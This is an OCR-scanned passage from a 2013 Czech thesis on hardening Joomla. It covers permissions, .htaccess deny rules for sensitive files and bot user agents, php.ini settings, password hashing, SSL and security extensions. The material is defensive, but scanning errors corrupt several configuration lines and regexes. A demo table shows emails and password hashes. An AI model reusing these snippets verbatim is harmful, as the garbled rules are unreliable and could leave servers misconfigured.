vyzaduje vySS$i uroven znalosti. Za timto uUCelem jsou proto najimani administratofi
s dostatkem zkuSenosti, nebo je mozné platit za spravu serveru spolecnosti poskytujici

hosting.

Pro méné naro¢né projekty mize byt optimalnim feSenim virtudlni server VPS. Svoboda
nastaveni celého systému je Vtomto ptfipadé¢ také zachovédna. Server bézi ve
virtualizovaném prostfedi s libovolnym opera¢nim systtmem a zdkaznik ma prava

administratora. Na jednom fyzickém serveru je obvykle virtualnich serverti nékolik. VPS

2 CANAVAN, Tom. Joomla! web security: secure your Joomla! website from common security threats with
this easy-to-use guide. Birmingham, U.K.: Packt Pub., 2008, 248 s. ISBN 978-1-847194-88-6.
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tedy sdili nekteré prostiedky s dal§imi zdkazniky a neni proto vhodny pro naro¢né aplikace

vyzadujici velky vypocetni vykon.

3.1.4 Na co se pri vybéru jeSté zamérit

Mezi zakladni parametry webhostingu podle kterych se pii vybéru rozhodujeme, patii
jednoznacné cena, prostor, traffic, dostupnost a konektivita. Neméné dulezita je také

technicka podpora, jeji ochota a dostupnost.

Z bezpecnostniho hlediska je vhodné se informovat 0 nastaveni a moznostech zmény
nékterych klicovych proménnych, jako jsou safe mode, open base dir,
register globals a dalSi. DileZity je také pfistup k .htaccess. V ptipadé VPN

nebo dedikovaného hostingu je to samoziejmosti.

3.2 Instalace Joomly

Na strankach joomla.org byva v download sekci obvykle vice verzi ke stazeni. Uzivatelé
casto Sahnou po té s nejvyS§im oznacenim, aniz by si precetli, Ze se jednd o STS verzi

urcenou k testovani, nikoli kK ostrému provozu.

3.2.1 Stazeni instalaéniho baliku

Ackoli 1ze na internetu nalézt velké mnozstvi predkonfigurovanych balikii obsahujicich
alesponl vybrat tu z divéryhodného zdroje. V opa¢ném piipadé mizeme kromé rozsiteni
ziskat 1 pfedinstalovana zadni vratka. Neni vzacné narazit na verzi, kterd ani oficialné jeste
nebyla vydana. Instalaci takovych balikd je rovnéz lepé se vyhnout. Po stazeni by mé¢la
nasledovat kontrola MDS5 hashe, ktery je otiskem archivu, abychom se ujistili, Ze se jedna

o neporuseny a originalni balik.

3.2.2 Instalace

Po Usp&Sném rozbaleni a odeslani instalaéniho baliku na server miiZze zapocit samotna
instalace, beéhem niz je uzivatel vyzvan k doplnéni nekolika udaji majicich vliv na
bezpecnost. Prvnim z nich je prefix tabulek v databazi. Nejedna se o zasadni opatieni,
kterym bychom tto¢nika zastavili, spiSe tim jen zpomalime a znepiijemnime jeho postupu.
Mnohem diilezitéjsi je volba uzivatelského jména, které nesmi byt ponechédno na vychozi

hodnoté. Rapidné se tim snizi pravdépodobnost tspéchu utoku hrubou silou. Silné heslo by



UTB ve Zliné, Fakulta aplikované informatiky, 2013 29

mélo byt samoziejmosti. Star§i verze Joomly neumoziiuji vybér uzivatelského jména
béhem instalace. V takovém piipadé€ je nutné jej zmenit ihned po dokonceni instalaéniho
procesu. Zapnuta FTP vrstva ve vétSiné piipadi neni vyzadovana. Neni proto nutné
zbytecné ukladat citlivé piistupové udaje na server. V piipadé potfeby ji lze zapnout

dodatecné. Po tspésném dokonceni instalace je vyzadovano odstranéni instalacni slozky.

3.3 Nastaveni serveru

24

nastavena prava soubortil, nebo povoleny nebezpe¢né moduly PHP.

3.3.1 Opravnéni

Nastavenim opravnéni muizeme jednoduse dosdhnout lepsi tUrovné zabezpeceni.

T o .24
Doporuceno je nasledujici nastaveni:

e _htaccess 644

configuration.php 644
Adresaie 755
Soubory 644

3.3.2 .htaccess

Soubor .htaccess nachazejici se v kofenovém adresafi je mocny nastroj, kterym
muzeme vyznamné ovlivnit chovani serveru bez toho, aniz bychom museli kontaktovat
podporu. Najdeme jej ovSem jen na serveru Apache a soucasné musi byt také povolen
spraveem. Apache dnes béZi na vétSiné webovych serverech. Jeden takovy .htaccess
soubor najdeme i v instala¢nim balicku Joomly a po dokonceni instalace je nutné jej
pfejmenovat z htaccess.txt na .htaccess, nebo pfidat jeho obsah na konec jiz
existujictho souboru. Piikazy vychoziho souboru .htaccess =zabrani provedeni

n&kterych znamych druhi exploiti.?®

* RAHMEL, Dan, Ref. 13
% HOWARD, Michael a David LEBLANC. Bezpecny kéd: techniky a strategie tvorby bezpecnych webovych
aplikaci. Vyd. 1. Brno: Computer Press, 2008, 895 s. ISBN 9788025120507.
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Nasledujici ptiklady mohou jesté zvysit ucinnost tohoto souboru. Nékteré piikazy ovSem
nemusi byt povoleny poskytovatelem webhostingu a pii pokusu o otevieni stranky se misto
obsahu zobrazi chybova stranka.

3.3.2.1 Zabranéni piistupu k souboru .htaccess

Prvni vrstvou ochrany je nastaveni prdv souboru .htaccess na 644. Dalsi vrstvu

vytvoiime pfidanim téchto fadka, které zabrani jakémukoliv extérnimu ptistupu k souboru.
<Files .htaccess>

order allow,deny

deny from all

</Files>

3.3.2.2 Zabranéni piistupu k souborim daného typu

Kod je podobny ptfedchozimu ptikladu. Pro vlastni pouziti stai upravit seznam typl
souborit v zavorce. Uplatnéni najdeme napiiklad u logovacich souboru, které slouzi

vyhradné spravci a navstévnici stranek k nim nesméji mit piistup.

<FilesMatch "\. (htaccess|htpasswd|ini|phps|flalpsd|log|sh)S$">
Order Allow,Deny
Deny from all

</FilesMatch>

3.3.2.3 Zabranéni piistupu ke vSem php souboriim s vyjimkou vychozich

Povolenim spousténi pouze vychozich soubori Caste¢né zabranime spusSténi rtznych

nastrojui typu PHP shell.

<Files *.php>

deny from all

</Files>

<Files ~ " (“index.php|”index2.php) $">
allow from all

</Files>
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3.3.2.4 Zabranéni neopravnénému prochdzeni adresadrii

Pokud na serveru z n¢jakého diivodu chybi vychozi indexovy soubor, mize navstévnik
v n¢kterych ptipadech ziskat pfistup k adresafové struktuie a souborum v nich. Abychom

se tomuto vyhnuli, ptidame tento fadek.

Options All -Indexes

3.3.2.5 Ochrana kritickych adresaiit heslem

Budeme-li vyzadovat autentizaci pro pristup do adresdfe /administrator,
ptihlasovaci stranka do administrace se nezobrazi, dokud nezadé uzivatel spravné jméno a
heslo. Ochrana administrace Joomly je tak zdvojena a Utoc¢nik se navic na prvni pohled
nedozvi, o jaky redakcni systém se jedna. Heslo ulozené na serveru mize byt v neveiejné
¢asti nebo 1 Sifrované pomoci MDS5 hashe. K tomu Ize vyuzit mnoho generatort

dostupnych na internetu.

Nejprve vytvofime soubor s ndzvem napf. . htpswd a do n¢j umistime uzivatelské jméno

a heslo ve tvaru ,,jmeno:heslo*.

V chranéném adresaii potom vytvoiime . htaccess soubor obsahujici tyto fadky:
AuthName "Pr¥ihlaste se"

AuthType Basic

AuthUserFile /cesta k souboru/.htpswd

require valid-user

3.3.2.6 Automatickd zména prdav soubori

Spravné nastavend prava jsou zédkladnim prvkem bezpecnosti a po piipadném ttoku museji
byt okamzité nastavena na bezpec¢né hodnoty. Pomoci piikazii v .htaccess lze snadno

nastavit typy nebo konkrétni soubory a jejich prava.
chmod .htaccess files 644

chmod php files 600
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3.3.2.7 Zabranéni piistupu vybranym robotiim, offline prohlizec¢iim a jinym

nevyZddanym ndstrojiim

Ne kazdy robot je pratelsky a respektuje pravidla v robots. txt a ne kazdy spravce si
pieje, aby jeho webové stranky byly kompletné stahovany aplikacemi jako HTTrack.
Tomu i dal§im nezddanym ¢innostem lze zabranit vytvofenim blacklistu. Na internetu je
mnoho aktualizovanych seznamu zapsanych pfimo ve form¢, v jakém se vkladaji do

souboru .htaccess.

RewriteEngine on

RewriteBase /

RewriteCond % {HTTP _USER AGENT} almaden [OR]
RewriteCond %{HTTP USER AGENT} "~Anarchie [OR]
RewriteCond %{HTTP USER AGENT} "“Zeus.*Webster [OR]
RewriteCond %{HTTP USER AGENT} "Zeus

RewriteRule *.* - [F,L]

3.3.3 php.ini

Textovy soubor php.ini umoziuje podobné jako .htaccess ménit globdlni nastaveni
serveru. Tentokrat ale ovliviiuje zpracovani PHP skriptl. Opét zavisi na poskytovateli,
které z parametri dovoli ménit. Na zacatku instalace Joomla zobrazil piehled nékolika

dalezitych direktiv PHP, jejich doporucené a aktualni hodnoty.

Directive Recommended Actual
Safe Mode: CFF Off
Display Errors: on on
File Uploads: on on
Magic Quokes Runtime: fF Off
Register Globals: fF Off
Cutput Buffering: CFF off
Session Auto Stark: CFF Off

Obr. 6. Doporucena nastaveni PHP
Kromé vyse zminénych direktiv Ize v php . ini nastavit jesté dalsi, které maji rovnéz vliv

na bezpecnost. | ty jsou proto v tomto kratkém pirehledu zminény.

e safe mode = off (vychozi on)
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Prestoze safe mode zavadi urcitd bezpecnostni omezeni jako zékaz nékterych
funkei nebo zvyseni kontrol, doporucuje se jej vypnout, nebot’ zpiisobuje problémy
s kompatibilitou nékterych rozsifeni. Jeho cilem bylo zabranit Gtokiim na sdileném
hostingu. To lze ale zajistit i jinymi opatfenimi. Z toho divodu poskytovatelé
hostingu safe mode ¢asto vypinaji. Z PHP 5.4 byl jiz dokonce odstranén.

e display errors = off (vychozi on)
Povoluje nebo zakazuje zobrazovéani chyb v prohlizec¢i. Chybova hlaseni mohou
obsahovat citlivé informace. Po odladéni aplikace se proto doporucuje je vypnout.

e file uploads (vychozion)
Pokud aplikace nevyuziva nahravani soubort, doporucuje se vypnout. I v piipadé
Joomly muze takova situace nastat, pfedevS§im pokud provozujeme jednoduché
firemni stranky apod.

e magic quotes gpc = off (vychozi on)
Diskutabilni direktiva, jejimz smyslem mélo byt zabranit SQL injection. Nicméné
funkce addslashes pomoci niz jsou vSechny vstupni proménné escapovany,
neni v nékterych ptipadech dostacujici. V zavislosti na konkrétnim databazovém
systému je nutné pouzit specialni escapovaci funkce. | z tohoto ditvodu PHP 5.4
magic quotes_ gpc uz nepodporuje.

e register globals = off (vychozi off)
V ptipad¢ zapnuti povoluje nebezpecny a dnes jiz zastaraly zplsob prace
s proménnymi. Kazda proménna nactend pomoci URL adresy, formulate nebo
cookies se automaticky stane globalni proménnou v PHP skriptu. Jednoduchou
upravou URL adresy pak muze uto¢nik vytvotit proménnou s libovolnou hodnotou.
| tato direktiva byla z PHP 5.4 odstranéna.

e allow url fopen = off (vychozi on)
v ptipad€ Ze je povoleno, miZe skript pouzivat funkce file get contents,
include, require a dal$i na vzdalené soubory. Pokud nejsou spravné
osetreny vstupy, muze dojit k nacteni zavadného koédu z ciziho serveru. Jeste
nebezpecngjsi je allow url include, které vétSina spolecnosti poskytujicich
hosting zakazuje.

e expose php = off (vychozi on)
Tato direktiva umoZnuje potencidlnimu utoc¢nikovi zjistit relativné piesnou verzi

PHP a na zédklad¢ toho zvolit vhodny exploit. Vzdy se proto doporucuje ji vypnout.
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e open basedir
Pomoci open basedir mizeme definovat plisobnost PHP skriptll, tedy vybrat
adresare, se kterymi mohou PHP skripty pracovat. V pfipad¢ sdileného hostingu je

toto nastaveni nezbytné a mé¢lo by nahradit zastaraly safe mo de.”®

3.4 Hesla strezena Joomlou

ptistupové udaje jsou nejcitlivéj§imi informacemi v redakénim systému. Cilem vétSiny

utoki je prave ziskani t€chto udaji a nasledna kontrola nad systémem.

3.4.1 Jména a hesla uzivatelu

Veskeré informace o uzivatelich jsou ulozeny v SQL databazi v tabulce ,,users®, pied niz je

obvykle jesté prefix nékolika nahodnych znakd.

username email password

TomasMovakd | jpoomla@onas.eu | 5al30339ab2bffbbo3adfed6abbdo2c2 PR Igzn1)dwowb G

Uziv1 uzivatel1@onas.eu | 548afaf1b8fddbo0bf97dccebd 50dbfFyCICkbTQglcathL. ..

ac3dalledéidéeeddd08b7bidd4001laa : MEv1loljt3TIOIfHHI Ly SxHM

Uzivd uzivatel2{@onas.eu
sF7QbFplzl

Obr. 7. Cast tabulky users, obsahujici uzivatelska jména, emaily a hashe hesel

Po dokonceni procesu registrace uzivatele je do tabulky pfidan novy zdznam, obsahujici
vSechny informace kromé hesla. Misto néj je uloZen fetézec 64 znakil s dvojteckou
uprostied. Nejprve je vygenerovano 32 nahodnych znakt, pied které je poté pridano heslo,
které si uZivatel zvolil a vSe je zaSifrovano hashovaci funkci MDS. Tento hash dlouhy 32
znakl tvofi prvni ¢ast fetézce. Za dvojteckou se pak nachédzi onéch 32 ndhodnych znak,
které byly vytvoreny na zacatku procesu. Tato opatfeni zaruci necitelnost hesla, a také jeho
bezpecnost 1 v ptipade€, Ze by bylo zvoleno pfilis kratké heslo. Zaroven zaruci, ze stejna
uzivatelska hesla budou mit rozdilné hashe. Pied piihlasenim uZzivatele je nejprve pomoci
zadaného hesla a druhé casti fetézce vytvoren hash, ktery je nasledné porovnan s prvni

casti retézce.

?® KOFLER, Michael a Bernd OGGL. PHP 5 a MySQL 5: priivodce webového programdtora. V'yd. 1. Brno:
Computer Press, 2007, 607 s. ISBN 9788025118139.



UTB ve Zliné, Fakulta aplikované informatiky, 2013 35

Do verze 1.6 bylo mozné pozadat o reset hesla k G¢tu spravce pomoci formuléafe a
ovétovaciho tokenu, ktery byl odeslan na vyplnénou emailovou adresu. Tuto skutec¢nost
Casto neuzivali hackefi, a proto byla moznost volby nového hesla po ovéieni identity

odebrana. Ponechéana byla pouze uzivatelim s mensimi prawomocemi.27

@ Obnoveni hesla se nezdafilo: Super spravce nemiie poZadovat pripomenuti hesla. Kontaktujte prosim
jiného super spravce, nebo zvolte alternativni zpuasob.

Obr. 8. Chybové hlaseni pii pokusu o reset hesla super spravce

Alternativnim zptusobem, o kterém se zminuje chybové hlaseni (Obr. 8) muze byt
napiiklad ruéni vytvoteni nového uctu super spravce pomoci editace tabulky uzivateli v
databazi. V ptipadé MySQL lze vyuzit phpMyAdmin, ktery podporuje i potiebny

hashovaci algoritmus MDS5.

3.4.2 Pristupové udaje k SQL a FTP

Témer pii kazdé aktivité, jako je prihlaSeni uzivatele nebo zobrazeni ¢lanku, se Joomla
ptipojuje k SQL serveru a pomoci dotazi ziskava potiebné informace. PfihlaSovaci udaje
nikdo nevypliiuje, nemohou byt tedy porovnavany s hashem. Open source redakéni systém
také nemuze mit zaSifrované jadro s vlastni Sifrovaci funkci. Jedinou moznosti je tedy
uloZeni takto citlivych informaci do souboru. Configuration.php je chranén
samotnou Joomlou a pii spravné nastavenych opravnéni k jeho obsahu nemuze ziskat
uto¢nik ptistup. Oficidlni dokumentaci bylo diive doporuovano piesunout tento kriticky
soubor mimo vefejnou ¢ast webu. Dnes uz se od tohoto feSeni upustilo a dale neni
doporucovano. Jedna se totiz o zasah do Joomly a mohou tak nastat problémy pfi
aktualizacich nebo migraci. Dle dokumentace toto feSeni nema zadny vliv na bezpe¢nost a

(- . 28
tudiz je nesmyslné.

%" How do you recover or reset your admin password?. In: Joomla Documentation [online]. 2013 [cit. 2013-
03-31]. Dostupné z: http://docs.joomla.org/How do_you recover_or_reset your_admin_password%3F

%8 Moving sensitive files outside the web root. In: Joomla Documentation [online]. 2012 [cit. 2013-03-31].
Dostupné Z:
http://docs.joomla.org/index.php?title=Moving_sensitive_files_outside_the web root&oldid=68318
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Jednou z moznosti vy$s$i ochrany je zabranéni pfistupu k souboru pomoci .htaccess.
Vychozi soubor .htaccess doddvany s Joomlou tyto piikazy neobsahuje. Pouzit Ize

metodu uvedenou v ¢asti vénujici se upravam tohoto souboru, tedy:
<Files configuration.php>
order allow,deny
deny from all
</Files>
Nebo pomoci mod rewrite:

RewriteRule “configuration\.php$ - [F,L]

3.5 SSL zabezpeceni

Security Socket Layer je vrstva, nachdzejici se mezi transportni a aplika¢ni vrstvou, jejimz
ucelem je zabezpeéit komunikaci mezi serverem a klientem. SSL funguje na principu
asymetrické Sifry, kdy kazda strana disponuje dvojici Sifrovacich klici — vefejnym a
soukromym. Pfed zavedenim Sifrovani je nutné ziskat certifikdt od né&které
z divéryhodnych certifikanich autorit. V opaéném piipadé by byl uZivatel obtézovan

hlasenim webového prohlizece o nediivéryhodném certifikatu.

Certifika¢ni autorita ovéfuje majitele domény pomoci emailu, né¢kdy i dalSimi zplisoby
véetné telefonického ovéfeni. Na zaklad€ principu pienosu divéry je tak mozné diveéfovat
udajim uvedenym v digitdlnim certifikatu za predpokladu, ze je divéryhodnd samotna

. . . )
certifika¢ni autorita.?®

3.5.1 Kde vSude pouzit SSL

Joomla odesild ptihlasovaci udaje v neSifrované podobé¢. 1 kdyZ existuji rozsiteni, ktera
hashuji hesla na stran€ uzivatele, a brani tak odposlechnuti neSifrovaného hesla,
bezpec¢nosti Sifrovani komunikace pomoci SSL se to ani zdaleka nevyrovna. SSL
certifikaty by mély byt pouzivany ptedevsim v piipadech, kdy jsou jakymkoliv zpisobem

shromazd’ovany diveérné udaje od uzivateli. Takova situace nastdva nejCastéji béhem

2 Certifikadni autorita. In: SSL certifikat.cz [online]. 2010 [cit. 2013-04-01]. Dostupné z: https://www.ssl-
certifikaty.cz/o-certifikatech/certifikacni-autorita/
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ptihlasovani uzivateld nebo odesilani formulafti. U intranetovych portadld a hlavné

elektronickych obchodt by mélo byt pouzivani SSL zabezpe&eni samoziejmosti.*

Kvili rychlosti byly diive Sifrovany pouze piihlaSovaci stranky a formulare. Podle studie,
kterou provedl Google v roce 2010, je server zatézovan predevsim pii sestavovani spojeni.
Nasledny proces Sifrovani neni natolik naro¢ny, ze by vyraznéji zatézoval server. Trendem

posledni doby je tedy $ifrovani veskeré komunikace.*

3.5.2 Nastaveni SSL

V globdlnim nastaveni Joomly najdeme pod zalozkou ,server® rozbalovaci menu,
oznacené ,,Vynutit SSL“. Z nabizenych moznosti mizeme zvolit, zda si pfejeme SSL
pouzit pouze na backend, tedy spravcovskou cast, nebo kompletné na cely web. Pokud je
nékterd z moznosti zvolena, aniz by byl na serveru nainstalovan funkéni certifikat, nebude
mozné se do administrace piihlasit, nebot’ Joomla bude trvat na Sifrovaném ale nefunkénim
HTTPS. Volba se da ale vratit zpét pomoci ru¢ni zmény hodnoty proménné $force ssl

na 0 vsouboru configuration.php. K tomu je samoziejmé nutny FTP ptistup.

Sifrované komunikace dosahneme také ptidanim nékolika fadku do souboru .htaccess.
Tento zpiisob by mél byt preferovan, nebot’ je univerzalni a neni zavisli na verzi nebo typu

redak¢niho systému.

RewriteCond %{SERVER PORT} !"4433

RewriteRule .* https://%{ HTTP HOST}S{REQUEST URI} [QSA, R=301, L]
<IfModule !mod ssl.c>

Redirect permanent / https://www.domena.com

v

Tteti moZnosti jsou dostupna rozsiteni, s jejichz pomoci 1ze nastavit, které ¢lanky, moduly

a komponenty maji byt Sifrovany.

% Co je to SSL. In: Thawte [online]. 2010 [cit. 2013-04-01]. Dostupné z: http://www.ssl-thawte.cz/ssl/co-je-
to-ssl/

8 Overclocking SSL. In: ImperialViolet [online]. 2010 [cit. 2013-04-01]. Dostupné z:
http://www.imperialviolet.org/2010/06/25/overclocking-ssl.html
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3.6 Rozsireni pro zvySeni urovné zabezpeceni

Testovani novych rozsifeni a jejich nastaveni je vhodné provadét na kopii redakéniho
systému ulozeného na disku pocitace. Instalace CMS na lokalni disk neni viibec obtizna.
Muizeme k tomu pouzit oblibeny WAMP, nebo jiny alternativni balik obsahujici Apache,
MySQL a PHP. Pied instalaci nového rozsSiteni je doporuceno udélat rychlou zalohu
soubort a databaze. Pokud by byla negativné ovlivnéna funk¢nost redakéniho systému,

m¢éla by vzdy existovat moznost vratit web snadno zpét do fungujiciho stavu.

Navstévnici stranek by méli mit moZnost nahravat pouze soubory obrazkového typu a
dokumenty. Na webu by mélo byt zakazano pouzivat vlastni HTML a JavaScript. Toto
nastaveni je dulezité provést piedev§im u rozSifeni pro tvorbu obsahu, jako jsou
WYSIWYG editory, navstévni knihy, komentafe a dalSi komponenty, které obsahuji

vstupni textova pole nebo moznost ptipojeni souboru.

3.6.1 Nastroje pro komplexni ochranu webu
. Nazev:  OSE Anti-Hacker™ for Joomla!

" Autor: OSE Licence: Komeré&ni
v

OPEN SOURCE _ - L
EXCELLENCE Pro: (332.5 3K Aktualizator: Ano

Popis:  Komunitou casto doporu¢ovand komponenta, jejimz ukolem je snizit riziko
napadeni webovych stranek na minimum. MiZze byt nainstalovana jako rozsiteni
pro Joomlu, nebo jako samostatna aplikace chranici redakéni systémy, eshopy ¢i
jiné aplikace napsané v jazyku PHP. Dokaze rozeznat podeziclé metody Gto¢nikl
a okamzité blokovat jejich IP adresy, nebo v pfipadé nizkého rizika jen upozornit
spravce emailem a ¢innost navstévnika zalogovat. Komponenta skenuje veskeré

vstupy od uzivatele, URL adresy i hodnoty Cookies.*?

%2 OSE Anti-Hacker™ for Joomla!. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-06].
Dostupné z: http://extensions.joomla.org/extensions/access-a-security/site-security/site-protection/8384
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Nazev: Admin Tools Professional

Autor:  N.K. Dionysopoulos Licence: Komer¢ni
Pro: 3X2.5 |33 Aktualizator:  Ano

Popis:  Kromé firewallu, ktery dokaze zabranit zakladnim typtim tutokd, obsahuje Admin
Tools Professional mnoho nastroju pro spravu a prevenci. Umoziuje ménit ULR
adresu administrace, kontrolovat opravnéni slozek a souborti nebo meénit prefix
tabulek v databazi. Tyto nastroje jsou vhodné pro rychlé zotaveni webu po tGtoku
hackera a jsou dostupné i v nekomeréni verzi komponenty. Diky blacklistim a
whitelistim dokaze blokovat nebo povolit pfistup konkrétnim IP adresam do
spravcovské Casti webu, a neni tak nutné slozité upravovat soubor

33
.htaccess.

Nazev: RSFirewall!

g Autor:  RSJoomla.com Licence: Komeréni
L\ <&
RSFirewall! Pro: 2.5 K Aktualizator:  Ano

Popis:  Firewall pro Joomlu, ktery sice neobsahuje zadné dalsi nastroje, zato se ale plné
soustfed'uje na ochranu pied vSemi typy utokt. Diky tomu mohou byt i
samostatné zranitelné komponenty imunni vic¢i pokusim o prinik do systému.
Integrovan je také uzamykaci madd, ktery chrani vybrané administratorské ucty
pred zménou, zamezi tvorbé novych Uctd a deaktivuje instalator. V ptipadé utoku
je pokus zalogovan a dle nastaveni muze byt uto¢nik banovan. O aktivitach

firewallu je spravce informovén emailem.*

% Admin Tools Professional. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-06].
Dostupné z: http://extensions.joomla.org/extensions/access-a-security/site-security/site-protection/16363

% RSFirewall!. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-06]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/site-protection/8968
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Nazev:  jHackGuard

;'k ’ Autor:  SiteGround Licence: Nekomer¢ni
Pro: [ 332.5 583~ Aktualizator:  Ano
Popis:  JHackGuard byl pouzivan zakazniky spolecnosti SiteGround, zabyvajici se

Popis:

webhostingem, tvorbou Sablon a rozsifeni pro Joomlu. Po nékolika letech byl
zpfistupnén i ostatnim uzivatelim jako nekomer¢ni komponenta. Konfigurace
neobsahuje zadné vétsi moznosti nastaveni, Ize pouze zvolit vstupy, které maji
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byt podrobeny testovani a také zakazat uzivatelim nahravani soubort.

Nazev:  Securitycheck

Autor:  Texpaok Licence: Nekomer¢ni
Pro: 3X2.5 |53 3% Aktualizator: Ano

Stejné jak pfedchozi komponenta je i Securitycheck nekomercni, tedy dostupna
zdarma. Firewall testuje vstupy od uzivatele a porovnava je s vice nez devadesati
vzory utokll. Samoziejmosti je blacklist a whitelist IP adres. Soucasti
komponenty je i spravce souborti uréeny ke kontrole opravnéni slozek a souborti.
Zajimavou funkci je kontrola aktualizaci, ktera porovnava verze nainstalovanych

rozSiteni s aktualizovanou databazi. Spravce tak snadno odhali zastarald

rozsifeni, aniz by je musel jednotlivé ovéfovat.*®

% JHackGuard. In: The Joomla! Extensions Directory [onling]. 2013 [cit. 2013-04-06]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/site-protection/13233
% Securitycheck. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-06]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/site-protection/13233



UTB ve Zliné, Fakulta aplikované informatiky, 2013 41

3.6.2 Sifrovani komunikace

rOF JOOMLA

S5LAEDIRECT Nazev:  Yireo SSL Redirection
Autor: Yireo Licence: Nekomeréni
Pro: Lﬁﬁ R3.X Aktualizator: Ano

Popis:

Popis:

Zatimco Joomla umi zapnout SSL pouze pro cely web, nebo jen spravcovskou
¢ast, tento maly plugin dokaze presmérovat z libovolnych nesifrovanych HTTP
stranek na Sifrované HTTPS a zpét. V nastaveni staci pouze vybrat komponenty
a polozky menu, které maji byt zabezpeceny. Aktivaci SSL lze také podminit
pfihlaSenim uzivatele. VSe lze nastavit béhem né¢kolika vtetfin bez zasahu do

souboru .htaccess.”’

Nazev:  Encrypt configuration

Autor: Ratmil Licence: Nekomeréni
Pro: Lﬁ‘: R3.X Aktualizator: Ne

Pokud neni k dispozici Sifrovani pomoci SSL, ptihlaSovaci tdaje jsou posilany
ve formé prostého textu a mohou tak byt snadno odposlouchany. Tento Plugin
¢asteCné nahradi SSL, nebot citlivé informace pfed odesldnim Sifruje pomoci
RSA algoritmu. Funkénost RSA je zavisla na pfitomnosti rozSifeni PHP
BCMath. V piipadé¢ jeho nedostupnosti je pouzita méné bezpecna Sifrovaci

metoda DES.*®

%7 Yireo SSL Redirection. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-04]. Dostupné
z: http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/11519

%8 Encrypt configuration. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-04]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/11519
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3.6.3 Ochrana pred neopravnénym prihlaSenim

Nazev:  Brute Force Stop

Autor: Bernhard Froehler Licence: Nekomeréni
Pro: M""'i"ih Aktualizator: Ne

Popis:  Pocet pokust pro pfihlaSeni neni v Joomle nijak omezen. Prolomeni hesla hrubou
silou je tedy jen otazkou Casu. Tomu lze zabranit pouzitim tohoto nekomercniho
pluginu. V nastaveni sta¢i zvolit maximalni po¢et pokusu, ¢asovy interval mezi
pokusy a dobu, na kterou bude IP adresa piipadné zablokovana. RozSifeni
sleduje jak ptihlaseni do administrace, tak i ve frontendu. VSechny pokusy jsou

zapisovany do logu a administrator o nich miiZe byt informovan emailem.*®

Nazev: AdminExile

Autor:  Michael Richey Licence: Nekomer¢ni
Pro: [332.5 583~ Aktualizator: Ne

Popis:  VSechny weby postavené na Joomle pozname snadno podle piihlasovaci stranky
www.domena.cz/administrator. VEdi to i hackefi, ktefi timto zpisobem ziskavaji
zakladni informace o své potencionalni obé&ti. Podle vzhledu této stranky lze také
piiblizné urcit verzi systému. Neni proto od véci piihlasovaci stranku
LHpresunout”. Plugin AdminExile umozZnuje zménit adresu administrace na
www.domena.cz/administrator?cokoliv. Pti pokusu o pfistup na pivodni adresu

spravcovské &asti navic dokéaze piesmérovat navitévnika na libovolnou stranku.*°

% Brute Force Stop. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-04]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/22982
0 AdminExile. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-04]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/15711


http://www.domena.cz/administrator
http://www.domena.cz/administrator?cokoliv
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3.6.4 Zalohovaci komponenty

Popis:

J Nazev:  Akeeba Backup

Autor:  Akeeba Developers Licence: Nekomer¢ni

Pro: Lm 2R3 Aktualizator: Ano

Oblibena zalohovaci komponenta diive znama pod jménem JoomlaPack. Po
instalaci probéhne kratka konfigurace vystupni slozky a formatu vysledného
archivu. Pro zdkladni pouzivani nevyzaduje dalsi nastaveni a proces zalohovani
muze byt spustén jednim kliknutim. Obsahuje i pokrocilejsi funkce jako profily a
planovani zéaloh, nékteré znich jsou ale dostupné az v placené verzi -
Professional. Obnoveni zalohy probiha nasledovné. Archiv obsahujici databazi i
soubory je nahran do cilového adresafe pomoci FTP spolu se skriptem
Kickstart”, ktery je dostupny na domovskych strankach projektu. Po spusténi
skriptu probéhne rozbaleni a zobrazi se instalator, ve kterém staci vyplnit

11w ;g y ey , 41
ptihlasovaci udaje k databazi a Ui¢tu super spravce.

XCLONER Nazev:  XCloner-Backup and Restore
Backup

Autor: XCloner.com Licence: Nekomeréni
L 3
!J Pro: Lﬁﬁ 83 Aktualizator:  Ano

XCloner je univerzalni nastroj pro zalohovani a obnovu vétsiny PHP/MySQL
redakénich systému. Vytvofenou zéalohu lze pifimo v prostfedi komponenty
prenést a nainstalovat na jiny server pomoci FTP protokolu. Na rozdil od
nekomeréni verze zalohovaci komponenty od Akeeby, umoznuje vytvaret

ptirtstkové zalohy. Disponuje také privétivéjsim uzivatelskym rozhranim.*?

1 Akeeba Backup. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-04]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/backup/1606

2 XCloner-Backup and Restore. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-04].
Dostupné z: http://extensions.joomla.org/extensions/access-a-security/site-security/backup/665
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3.7 QOpatieni proti spamu a robotim

Webmastera, ktery se na svych strankach jesté nesetkal se spamem bychom hledali jen
stézi. Nekonecny boj s obtézujicimi komentari trapi i mnoho uzivateli redakcniho systému
Joomla. Mnozstvi zprav, které znepiehlednuji diskuze a jiné komunikacni nastroje,
obtézuje navstévniky a nemalou Gjmu pfinds$i i samotnému webu, ktery se tak stava
nedaveéryhodnym pro vyhledavace. Obsah takovych piispévkil neni vzdy jen neSkodnou
reklamou na komeréni produkt &i sluzbu. Casto se miZze jednat o prostiedek k Sifeni

malware, mezi ktery patii i nebezpecné viry, Cervy a dalsi skodlivé programy.
3.7.1 Druhy spamu v Joomle

3.7.1.1 Vytviieni uZivatelit roboty

Toto je jeden z typickych druhti spamu, se kterym je mozné se setkat pii pouzivani jak
Joomly, tak i mnoha dalsich redakénich systému. Castym cilem jsou i rozliéna diskuzni
fora, postavena na phpBB, SMF a dalsich. Ne vzdy maji registrovani uzivatelé¢ v Joomle
